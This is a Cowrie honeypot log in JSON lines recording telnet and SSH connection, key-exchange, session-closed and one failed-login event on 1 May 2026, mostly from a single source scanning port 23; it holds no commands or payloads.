{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34658,"dst_ip":"159.203.135.109","dst_port":23,"session":"16920bad54bb","protocol":"telnet","message":"New connection: 192.119.108.58:34658 (159.203.135.109:23) [session: 16920bad54bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:21.550729Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34656,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e8b240b4230","protocol":"telnet","message":"New connection: 192.119.108.58:34656 (159.203.135.109:23) [session: 1e8b240b4230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:21.554972Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34982,"dst_ip":"159.203.135.109","dst_port":23,"session":"7025669cd767","protocol":"telnet","message":"New connection: 192.119.108.58:34982 (159.203.135.109:23) [session: 7025669cd767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:22.140557Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35034,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fe9060abe39","protocol":"telnet","message":"New connection: 192.119.108.58:35034 (159.203.135.109:23) [session: 1fe9060abe39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:22.211516Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":32850,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce8eb4abeea0","protocol":"telnet","message":"New connection: 192.119.108.58:32850 (159.203.135.109:23) [session: ce8eb4abeea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:22.235052Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35085,"dst_ip":"159.203.135.109","dst_port":23,"session":"b69500672293","protocol":"telnet","message":"New connection: 192.119.108.58:35085 (159.203.135.109:23) [session: b69500672293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:22.251608Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34442,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b0b049960aa","protocol":"telnet","message":"New connection: 192.119.108.58:34442 (159.203.135.109:23) [session: 4b0b049960aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:22.312896Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35128,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd11af48d16d","protocol":"telnet","message":"New connection: 192.119.108.58:35128 (159.203.135.109:23) [session: fd11af48d16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:22.321722Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35150,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac8b1e148700","protocol":"telnet","message":"New connection: 192.119.108.58:35150 (159.203.135.109:23) [session: ac8b1e148700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:22.375495Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34970,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd148b7de154","protocol":"telnet","message":"New connection: 192.119.108.58:34970 (159.203.135.109:23) [session: cd148b7de154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:23.106952Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35848,"dst_ip":"159.203.135.109","dst_port":23,"session":"702c2b541891","protocol":"telnet","message":"New connection: 192.119.108.58:35848 (159.203.135.109:23) [session: 702c2b541891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:23.274107Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35916,"dst_ip":"159.203.135.109","dst_port":23,"session":"af2068c3b3b4","protocol":"telnet","message":"New connection: 192.119.108.58:35916 (159.203.135.109:23) [session: af2068c3b3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:23.310766Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35124,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a70858c229f","protocol":"telnet","message":"New connection: 192.119.108.58:35124 (159.203.135.109:23) [session: 8a70858c229f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:23.317035Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36058,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5c12b8b9ca3","protocol":"telnet","message":"New connection: 192.119.108.58:36058 (159.203.135.109:23) [session: a5c12b8b9ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:23.427500Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36120,"dst_ip":"159.203.135.109","dst_port":23,"session":"cffe26f8bb7b","protocol":"telnet","message":"New connection: 192.119.108.58:36120 (159.203.135.109:23) [session: cffe26f8bb7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:23.492913Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35298,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c5956cd44f","protocol":"telnet","message":"New connection: 192.119.108.58:35298 (159.203.135.109:23) [session: 48c5956cd44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:23.518684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36192,"dst_ip":"159.203.135.109","dst_port":23,"session":"7558a9a82ea4","protocol":"telnet","message":"New connection: 192.119.108.58:36192 (159.203.135.109:23) [session: 7558a9a82ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:23.583998Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35400,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b0e87efe25f","protocol":"telnet","message":"New connection: 192.119.108.58:35400 (159.203.135.109:23) [session: 1b0e87efe25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:23.600270Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34266,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7475135c63","protocol":"telnet","message":"New connection: 192.119.108.58:34266 (159.203.135.109:23) [session: 5e7475135c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:24.138916Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34304,"dst_ip":"159.203.135.109","dst_port":23,"session":"b06e11bc6e0e","protocol":"telnet","message":"New connection: 192.119.108.58:34304 (159.203.135.109:23) [session: b06e11bc6e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:24.199008Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36064,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba5b263da2c9","protocol":"telnet","message":"New connection: 192.119.108.58:36064 (159.203.135.109:23) [session: ba5b263da2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:24.432032Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37228,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3a6bbdb5be0","protocol":"telnet","message":"New connection: 192.119.108.58:37228 (159.203.135.109:23) [session: a3a6bbdb5be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:25.103598Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e037f7fbb92","protocol":"telnet","message":"New connection: 192.119.108.58:35084 (159.203.135.109:23) [session: 1e037f7fbb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:25.256048Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35994,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb207a13ecd","protocol":"telnet","message":"New connection: 192.119.108.58:35994 (159.203.135.109:23) [session: bdb207a13ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:26.388561Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37226,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd172d4db0f3","protocol":"telnet","message":"New connection: 192.119.108.58:37226 (159.203.135.109:23) [session: dd172d4db0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:28.103921Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39806,"dst_ip":"159.203.135.109","dst_port":23,"session":"038d7aa89e05","protocol":"telnet","message":"New connection: 192.119.108.58:39806 (159.203.135.109:23) [session: 038d7aa89e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:29.229928Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.75.239","src_port":55191,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fce36b4d63f","protocol":"telnet","message":"New connection: 103.59.75.239:55191 (10.17.0.5:23) [session: 4fce36b4d63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:36.508499Z"}
{"eventid":"cowrie.session.closed","duration":30.583013772964478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:41.441588Z","src_ip":"149.202.94.120","session":"c5c19c7246fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":45226,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c98d7abdbf6","protocol":"ssh","message":"New connection: 78.128.112.74:45226 (159.203.135.109:22) [session: 3c98d7abdbf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:43.270345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:43.411686Z","src_ip":"78.128.112.74","session":"3c98d7abdbf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:43.416674Z","src_ip":"78.128.112.74","session":"3c98d7abdbf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"company","message":"login attempt [user/company] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:44.575624Z","src_ip":"78.128.112.74","session":"3c98d7abdbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:45.702368Z","src_ip":"78.128.112.74","session":"3c98d7abdbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.651174068450928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:47.941609Z","src_ip":"192.119.108.58","session":"4990baf0ee22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.845359563827515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:47.998051Z","src_ip":"192.119.108.58","session":"b95a2d8d229a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83434820175171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:48.064692Z","src_ip":"192.119.108.58","session":"9b67163dc3cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35709571838379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:48.760432Z","src_ip":"192.119.108.58","session":"30598955e908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964370012283325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:49.145726Z","src_ip":"192.119.108.58","session":"81bbea4f0f52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.922525882720947,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:49.430895Z","src_ip":"103.59.75.239","session":"4fce36b4d63f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35559344291687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:49.494251Z","src_ip":"192.119.108.58","session":"a95cc6479b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.896018743515015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:50.121512Z","src_ip":"192.119.108.58","session":"f228edb60f5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195772409439087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:50.338675Z","src_ip":"192.119.108.58","session":"cfcf8e72388c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.488324403762817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:50.760490Z","src_ip":"192.119.108.58","session":"1a7240fda150","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052708625793457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:51.154181Z","src_ip":"192.119.108.58","session":"209f8a21fcdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76787805557251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:52.027675Z","src_ip":"192.119.108.58","session":"08652d5b5bd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777900218963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:52.033264Z","src_ip":"192.119.108.58","session":"733909da1b75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091004848480225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:52.182588Z","src_ip":"192.119.108.58","session":"49c8075a8904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636659383773804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:52.191529Z","src_ip":"192.119.108.58","session":"1e8b240b4230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704333782196045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:52.239489Z","src_ip":"192.119.108.58","session":"9b6e38af026f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954291343688965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:52.504925Z","src_ip":"192.119.108.58","session":"16920bad54bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.512133836746216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:52.824208Z","src_ip":"192.119.108.58","session":"0fc76332717c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.896908283233643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:53.037379Z","src_ip":"192.119.108.58","session":"7025669cd767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85863494873047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:53.110121Z","src_ip":"192.119.108.58","session":"b69500672293","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996460437774658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:53.309237Z","src_ip":"192.119.108.58","session":"4b0b049960aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.337554931640625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:53.572513Z","src_ip":"192.119.108.58","session":"ce8eb4abeea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43675661087036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:53.758370Z","src_ip":"192.119.108.58","session":"fd11af48d16d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50426721572876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:53.879636Z","src_ip":"192.119.108.58","session":"ac8b1e148700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.706719398498535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:53.918124Z","src_ip":"192.119.108.58","session":"1fe9060abe39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544456005096436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:54.037290Z","src_ip":"192.119.108.58","session":"cffe26f8bb7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.559958457946777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:54.078513Z","src_ip":"192.119.108.58","session":"48c5956cd44f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.517911195755005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:54.117881Z","src_ip":"192.119.108.58","session":"1b0e87efe25f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.737269639968872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:54.164677Z","src_ip":"192.119.108.58","session":"a5c12b8b9ca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863624095916748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:54.174286Z","src_ip":"192.119.108.58","session":"af2068c3b3b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137783765792847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:54.244607Z","src_ip":"192.119.108.58","session":"cd148b7de154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96774196624756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:54.284708Z","src_ip":"192.119.108.58","session":"8a70858c229f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709664583206177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:54.293564Z","src_ip":"192.119.108.58","session":"7558a9a82ea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72473382949829,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:54.998668Z","src_ip":"192.119.108.58","session":"702c2b541891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9060275554657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:55.044825Z","src_ip":"192.119.108.58","session":"5e7475135c63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695045948028564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:55.126962Z","src_ip":"192.119.108.58","session":"ba5b263da2c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0330171585083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:55.231915Z","src_ip":"192.119.108.58","session":"b06e11bc6e0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995083332061768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:56.098568Z","src_ip":"192.119.108.58","session":"a3a6bbdb5be0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3720805644989,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:56.628025Z","src_ip":"192.119.108.58","session":"1e037f7fbb92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004801750183105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:57.393252Z","src_ip":"192.119.108.58","session":"bdb207a13ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17147445678711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:07:59.275277Z","src_ip":"192.119.108.58","session":"dd172d4db0f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14413809776306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:00.373949Z","src_ip":"192.119.108.58","session":"038d7aa89e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":60022,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d8d34a72d2","protocol":"telnet","message":"New connection: 149.202.94.120:60022 (10.17.0.5:23) [session: 47d8d34a72d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:20.131525Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":60028,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a42f0e4888c","protocol":"telnet","message":"New connection: 149.202.94.120:60028 (10.17.0.5:23) [session: 4a42f0e4888c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:21.273189Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":51472,"dst_ip":"159.203.135.109","dst_port":22,"session":"d887d755ef6f","protocol":"ssh","message":"New connection: 114.141.59.195:51472 (159.203.135.109:22) [session: d887d755ef6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:43.712752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:43.718186Z","src_ip":"114.141.59.195","session":"d887d755ef6f","protocol":"ssh"}
